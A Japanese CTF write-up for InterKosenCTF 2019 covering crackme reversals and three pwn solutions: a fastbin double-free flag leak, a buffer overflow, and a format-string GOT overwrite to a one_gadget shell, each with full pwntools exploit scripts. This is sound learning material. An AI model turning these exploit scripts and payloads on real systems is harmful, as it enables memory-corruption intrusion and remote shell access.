Begginers CTF と同じチームでInterKosenCTFに参加した。
pwnとrevに関しては難易度は大体同じくらいだった気がする。
pwnの hardとlunaticが解けそうで分からなかったので悔しい。
[easy] [rev] basic crackme
実行してみるとこんな。
定番の流れですね。
vagrant@vagrant(3:16:57) ~/work/kosenctf2019
% ./crackme [~/work/kosenctf2019]
<usage> ./crackme: <flag>
vagrant@vagrant(3:17:02) ~/work/kosenctf2019
% ./crackme flag [~/work/kosenctf2019]
Try harder!%
ebp-0xC0
から ebp-0x28
まで怪しげな値を格納しており、その後コマンドライン引数で与えた文字列の各文字列を弄った後にそれらの値と比較している。

よってFLAGを再現するスクリプトを書けば終了。
シフト演算使ったらもう少し綺麗に書けそう。
l = [0xb4, 0xf7, 0x39, 0x59, 0xea, 0x39, 0x4b, 0x6b, 0xbf, 0x80, 0x3d, 0xd1, 0x42, 0x10, 0xe4, 0x42, 0x105, 0x58, 0x15, 0x108, 0xab, 0x18, 0xe8, 0xcd, 0x1b, 0xeb, 0x51, 0x1e, 0x111, 0x44, 0x51, 0x86, 0x53, 0x48, 0x59, 0x36, 0x10a, 0x9b, 0xfd]
for i in range(len(l)):
l[i] -= i
l[i] = l[i] * 16 % 256 + l[i] // 16
print(chr(l[i]), end='')
print()
[easy] [rev] magic function
crackmeと大体同じ。
こっちは入力値をいじくり回すのではなく元々ある値をいじくり回してから入力値と比較してくれてるので、gdbでブレークポイント貼って1文字ずつ見ていけば良い。
[hard] [rev] favorites
これも大体同じ。
入力した文字列をいじくり回し、ハッシュ値のようなものを作成して比較している。
アルゴリズムは以下のような感じ。f(input[i], i, prv)
という関数が肝。
prv = 0x1234
input = 入力した文字列
for i in range(14):
prv = f(input[i], i, prv)
hash[i] = prv
prvを引数に渡しているのでややこしそうに見えるが、 f()
内でprvに関する処理の部分は 下位8bitが0になるようにできており、逆に input[i], i
に関する処理の部分は8bitに収まるようになっている。
そしてそれら2つをor
とって hash[i]
としているので、prv
の値はガン無視して良い。
input[i], i
に関わる処理の部分では((input[i] << 4 + input[i] >> 4) && 0xff + 1) ^ ((15 - i) << 4)
という処理になっているので、hash[i]の下位8bitから逆算すれば良い。
s1 = [0xd5, 0x27, 0xd4, 0xc4, 0x67, 0x56, 0x84, 0x67, 0x04, 0x64, 0xa6, 0xd6, 0x34, 0x78]
for i in range(14):
x = (15 - i ) * 16 ^ s1[i] - 1
print(chr(x * 16 % 256 + x // 16), end="")
print()
[easy] [pwn] fastbin tutorial
個人的に自分くらいのレベルの人に対して一番の良問だと思う。
サーバーに接続するとこんな感じ。
Welcome to Double Free Tutorial!
In this tutorial you will understand how fastbin works.
Fastbin has various security checks to protect the binary
from attackers. But don't worry. You just have to bypass
the double free check in this challenge. No more size checks!
Your goal is to leak the flag which is located at 0x55dbc1f94240.
[+] f = fopen("flag.txt", "r");
[+] flag = malloc(0x50);
[+] fread(flag, 1, 0x50, f);
[+] fclose(f);
This is the initial state:
===== Your List =====
A = (nil)
B = (nil)
C = (nil)
=====================
+---- fastbin[3] ----+
| 0x0000000000000000 |
+--------------------+
||
\/
(end of the linked list)
You can do [1]malloc / [2]free / [3]read / [4]write
>
ここから、Aに対しmallocとfreeをやってみるとこんな感じ
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): A
[+] A = malloc(0x50);
===== Your List =====
A = 0x55dbc1f94120
B = (nil)
C = (nil)
=====================
+---- fastbin[3] ----+
| 0x0000000000000000 |
+--------------------+
||
\/
(end of the linked list)
You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): A
[+] free(A);
===== Your List =====
A = 0x55dbc1f94120
B = (nil)
C = (nil)
=====================
+---- fastbin[3] ----+
| 0x000055dbc1f94110 |
+--------------------+
||
\/
+--------- A --------+
| 0x0000000000000000 |
| 0x00007f598426eb78 |
+--------------------+
||
\/
(end of the linked list)
You can do [1]malloc / [2]free / [3]read / [4]write
freeすると、その領域(chunk)がfastbinのリストに追加されるのが分かる。
このfastbinは、次に同じサイズのmallocがあった時にそこからchunkを割り当てるためのキャッシュのような役割。
fastbinの先頭が指すアドレスは Aのアドレス-0x10
となっている。
これは、mallocで確保したchunk自体は Aのアドレス-0x10
から始まっており、先頭の 0x10バイトにはchunkを管理するためのヘッダ情報が格納されているため。
ここでもう一度Aをfreeすると、fastbinはdouble freeを検知して落ちてしまう。
You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): A
[+] free(A);
*** Error in `./chall': double free or corruption (fasttop): 0x000055dbc1f94120 ***
しかし、Aを2連続でfreeせずに、A->B->Aという順でfreeすればdouble freeは感知されない。
まずは A->Bの順でfreeする。
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): A
[+] A = malloc(0x50);
===== Your List =====
A = 0x5643c7190120
B = (nil)
C = (nil)
=====================
+---- fastbin[3] ----+
| 0x0000000000000000 |
+--------------------+
||
\/
(end of the linked list)
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): B
[+] B = malloc(0x50);
===== Your List =====
A = 0x5643c7190120
B = 0x5643c7190180
C = (nil)
=====================
+---- fastbin[3] ----+
| 0x0000000000000000 |
+--------------------+
||
\/
(end of the linked list)
You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): A
[+] free(A);
===== Your List =====
A = 0x5643c7190120
B = 0x5643c7190180
C = (nil)
=====================
+---- fastbin[3] ----+
| 0x00005643c7190110 |
+--------------------+
||
\/
+--------- A --------+
| 0x0000000000000000 |
| 0x00007f430a92cb78 |
+--------------------+
||
\/
(end of the linked list)
You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): B
[+] free(B);
===== Your List =====
A = 0x5643c7190120
B = 0x5643c7190180
C = (nil)
=====================
+---- fastbin[3] ----+
| 0x00005643c7190170 |
+--------------------+
||
\/
+--------- B --------+
| 0x00005643c7190110 |
| 0x00007f430a92cb78 |
+--------------------+
||
\/
+--------- A --------+
| 0x0000000000000000 |
| 0x00007f430a92cb78 |
+--------------------+
||
\/
(end of the linked list)
(fatbin可視化してくれてるの神すぎるだろ、、)
このようにfreeの度に、fastbinの先頭にfreeされたchunkをつなぎ、freeされたchunkの中身をこれまで先頭だったchunkのアドレスに書き換えるということが行われる。
ここで、さらにAをもう一度freeしてみる。
You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): A
[+] free(A);
===== Your List =====
A = 0x5643c7190120
B = 0x5643c7190180
C = (nil)
=====================
+---- fastbin[3] ----+
| 0x00005643c7190110 |
+--------------------+
||
\/
+--------- A --------+
| 0x00005643c7190170 |
| 0x00007f430a92cb78 |
+--------------------+
||
\/
+--------- B --------+
| 0x00005643c7190110 |
| 0x00007f430a92cb78 |
+--------------------+
||
\/
+--------- A --------+
| 0x00005643c7190170 |
| 0x00007f430a92cb78 |
+--------------------+
||
\/
+--------- B --------+
| 0x00005643c7190110 |
| 0x00007f430a92cb78 |
+--------------------+
||
\/
+--------- A --------+
| 0x00005643c7190170 |
| 0x00007f430a92cb78 |
+--------------------+
||
\/
(and more links...)
すると、Aが新たに先頭に追加され、Bを指すようになる。
しかし、BもAを指しているので、無限にお互いを指すようになる。
ここでCをmallocしてみる。
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): C
[+] C = malloc(0x50);
===== Your List =====
A = 0x559b5ee4d120
B = 0x559b5ee4d180
C = 0x559b5ee4d120
=====================
+---- fastbin[3] ----+
| 0x0000559b5ee4d170 |
+--------------------+
||
\/
+--------- B --------+
| 0x0000559b5ee4d110 |
| 0x00007f76ba740b78 |
+--------------------+
||
\/
+--------- A --------+
| 0x0000559b5ee4d170 |
| 0x00007f76ba740b78 |
+--------------------+
||
\/
+--------- B --------+
| 0x0000559b5ee4d110 |
| 0x00007f76ba740b78 |
+--------------------+
||
\/
+--------- A --------+
| 0x0000559b5ee4d170 |
| 0x00007f76ba740b78 |
+--------------------+
||
\/
+--------- B --------+
| 0x0000559b5ee4d110 |
| 0x00007f76ba740b78 |
+--------------------+
||
\/
(and more links...)
すると、fastbinの先頭につながっていたAが削除され、CにAと同じchunkが割り当てられる。
ここで、A(これまでBのアドレスを指していた) の中身をFLAGのアドレスに書き換えてあげる。すると、fastbinの最後がFLAGのアドレスを指すようになるはず、、
You can do [1]malloc / [2]free / [3]read / [4]write
> 4
Which one? (A / B / C): C
[+] read(STDIN_FILENO, C, 0x10);
> 40 02 bb df e3 55 00 00 0a (FLAGのアドレスをバイト列で送る)
[+] OK.
===== Your List =====
A = 0x55e3dfbb0120
B = 0x55e3dfbb0180
C = 0x55e3dfbb0120
=====================
+---- fastbin[3] ----+
| 0x0000564849ef4170 |
+--------------------+
||
\/
+--------- B --------+
| 0x0000564849ef4110 |
| 0x00007f8bdc43fb78 |
+--------------------+
||
\/
+--------- A --------+
| 0x0000564849ef4240 |
| 0x00007f8bdc43fb0a |
+--------------------+
||
\/
+------- flag! ------+
| Oops! You forgot |
| the overhead...? |
+--------------------+
と、ここで You forgot the overhead...?
と注意喚起してくれる。
fastbinはヘッダーを含めたchunkの先頭を指しているので、FLAGのアドレスを指すには 0x10
だけ引いてあげる必要がある。
You can do [1]malloc / [2]free / [3]read / [4]write
> 4
Which one? (A / B / C): C
[+] read(STDIN_FILENO, C, 0x10);
> 30 02 bb df e3 55 00 00 0a (FLAGのアドレス - 0x10をバイト列で送る)
[+] OK.
===== Your List =====
A = 0x55e3dfbb0120
B = 0x55e3dfbb0180
C = 0x55e3dfbb0120
=====================
+---- fastbin[3] ----+
| 0x000055e3dfbb0170 |
+--------------------+
||
\\/
+--------- B --------+
| 0x000055e3dfbb0110 |
| 0x00007f27c829ab78 |
+--------------------+
||
\\/
+--------- A --------+
| 0x000055e3dfbb0230 |
| 0x00007f27c829ab0a |
+--------------------+
||
\\/
+------- flag! ------+
| THE FLAG IS HERE!! |
+--------------------+
あとは、mallocしていってflagのアドレスをmallocした後にreadしてあげればFLAGゲット!
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): C
[+] C = malloc(0x50);
===== Your List =====
A = 0x562ba6a33120
B = 0x562ba6a33180
C = 0x562ba6a33180
=====================
+---- fastbin[3] ----+
| 0x0000562ba6a33110 |
+--------------------+
||
\/
+--------- A --------+
| 0x0000562ba6a33230 |
| 0x00007f423f117b0a |
+--------------------+
||
\/
+------- flag! ------+
| THE FLAG IS HERE!! |
+--------------------+
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): C
[+] C = malloc(0x50);
===== Your List =====
A = 0x562ba6a33120
B = 0x562ba6a33180
C = 0x562ba6a33120
=====================
+---- fastbin[3] ----+
| 0x0000562ba6a33230 |
+--------------------+
||
\/
+------- flag! ------+
| THE FLAG IS HERE!! |
+--------------------+
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): C
[+] C = malloc(0x50);
===== Your List =====
A = 0x562ba6a33120
B = 0x562ba6a33180
C = 0x562ba6a33240
=====================
+---- fastbin[3] ----+
| 0x4654436e65736f4b |
+--------------------+
||
\/
(maybe invalid address)
(or unreferenced heap?)
You can do [1]malloc / [2]free / [3]read / [4]write
> 3
Which one? (A / B / C): C
[+] printf("[+] %s\n", C);
[+] KosenCTF{y0ur_n3xt_g0al_is_t0_und3rst4nd_fastbin_corruption_attack_m4yb3}
スクリプトはこちら
from pwn import *
rhp = {'host': 'pwn.kosenctf.com', 'port':9001}
context.log_level = 'debug'
conn = remote(rhp['host'], rhp['port'])
conn.recvuntil(b'located at ')
addr = int(conn.recvuntil(b'.').decode()[:-1],16) -0x10
conn.recv()
def malloc(x):
conn.sendline('1')
conn.recv()
conn.sendline(x)
conn.recv()
conn.recv()
def free(x):
conn.sendline('2')
conn.recv()
conn.sendline(x)
conn.recv()
conn.recv()
def read(x):
conn.sendline('3')
conn.recv()
conn.sendline(x)
conn.recv()
conn.recv()
def write(x, addr):
conn.sendline('4')
conn.recv()
conn.sendline(x)
conn.recv()
conn.sendline(p64(addr))
conn.recv()
conn.recv()
malloc('A')
malloc('B')
free('A')
free('B')
free('A')
malloc('C')
write('C', addr)
malloc('C')
malloc('C')
malloc('C')
read('C')
[easy] [pwn] shopkeeper
接続するとこんな感じ。
% nc pwn.kosenctf.com 9004 [~/work/ctf/ctfs/kosenctf_2019/shopkeeper][master]
* Hello, traveller.
* What would you like to buy?
$25 - Cinnamon Bun
$15 - Biscle
$50 - Manly Bandanna
$50 - Tough Glove
$9999 - Hopes
>
所持金が100に設定されており、Hopesを買おうとすると金が足りない、と言われる。
> Hopes
* That's not enough money.
* Have a nice day.
バッファは 0x20のサイズしかないのに、入力をいくらでも受け付けるようになってしまっているので、容易にバッファオーバーフローが起きる。
バッファは ebp-0x40
にあり、money変数は ebp-0xC
にあるので、60文字くらい入力してあげれば、moneyを書き換えることができる。
また、’Hopes' とのstrcmpを通さなければならないので、入力の先頭は Hopes\x00
としてあげる。(readline関数がヌル文字を素通りして改行まで読み込んでくれるので通る。)
from pwn import *
import time
rhp = {'host': 'pwn.kosenctf.com', 'port':9004}
conn = remote(rhp['host'], rhp['port'])
context.log_level = 'debug'
conn.recvuntil(b'> ')
time.sleep(3)
payload = 'Hopes\x00\x00\x00' + 'A' * 52
conn.sendline(payload)
context.log_level = 'info'
conn.interactive()
[medium] [pwn] bullsh
接続するとこんな感じ
% nc pwn.kosenctf.com 9003 [~/work/ctf/ctfs/kosenctf_2019/bullsh][master]
__ __
/ | / / / | / / / /
|___| ( ( (___ ___ ___ ___| (___ (___ ___ ( (
| )| )| | | )|___)| )| ) )| )|___)| |
|__/ |__/ | | | / |__ |__/||__/ __/ | / |__ | |
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
cat: No such command
ls
とexit
しか使えないシェルが用意されている。
No such command と表示するところで入力値をそのまま printf
しており、FSBがある。
$ AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
AAAA,400927,65,d5439081,d57168c0,d593e4c0,0,2b80b660,0,2b80b688,2b80b6b0,40084e,41414141: No such command
stackの中に __libc_start_main + 240
があるので、まずそのアドレスをリークさせ、その後GotOverwriteを行う。
今回気づいたのだが、Gotのアドレスは、最初に使われるタイミングで書き込まれるらしい。
よって1回以上使われている関数で、書き換えている間は使われず、書き換え終わった後に使われる関数を選ぶ必要がある。
そこで、system()
を選んだ。初めに ls
を入力して1回使ってあげ、oneGadgetRCEに書き換えた後にもう一度 ls
を入力することでシェルを起動できる。
from pwn import *
rhp = {'host': 'pwn.kosenctf.com', 'port':9003}
conn = remote(rhp['host'], rhp['port'])
context.log_level = 'debug'
binf = ELF('chall')
got_system = binf.got[b'system']
libc = ELF('./libc-2.27.so')
offset_libc_start_main = libc.symbols[b'__libc_start_main']
offset_libc_rce = 0x10a38c
conn.recvuntil('$ ')
conn.sendline(b'ls')
conn.recvuntil('$ ')
conn.sendline(b'%25$p')
libc_start_main = int(conn.recvuntil(b':').decode()[:-1], 16) - 240
print(hex(libc_start_main))
libc_rce = libc_start_main - offset_libc_start_main + offset_libc_rce
print(hex(libc_rce))
conn.recvuntil('$ ')
payload = b"%%%dx%%14$hn" % ((libc_rce >> 16) & 0xffff)
payload = payload.ljust(16, b'_')
payload += p64(got_system + 2)
conn.sendline(payload)
conn.recvuntil('$ ')
payload = b"%%%dx%%14$hn" % (libc_rce & 0xffff)
payload = payload.ljust(16, b'_')
payload += p64(got_system)
conn.sendline(payload)
conn.recvuntil('$ ')
conn.sendline(b'ls')
context.log_level = 'info'
conn.interactive()
[easy] [forensics] lost world
vdiファイルが渡され、rootユーザーでログインすればFlagが手に入る。
virtualbox弱すぎてvdiファイルの読み込ませ方が分からなかったが、チームメイトに教えてもらって読み込んだ。
タイプでWindows選んで読み込んでもubuntu立ち上がるんやね、、
あとはrootユーザーのパスワードをリセットすれば良い。
ここに書いてることやったらできた。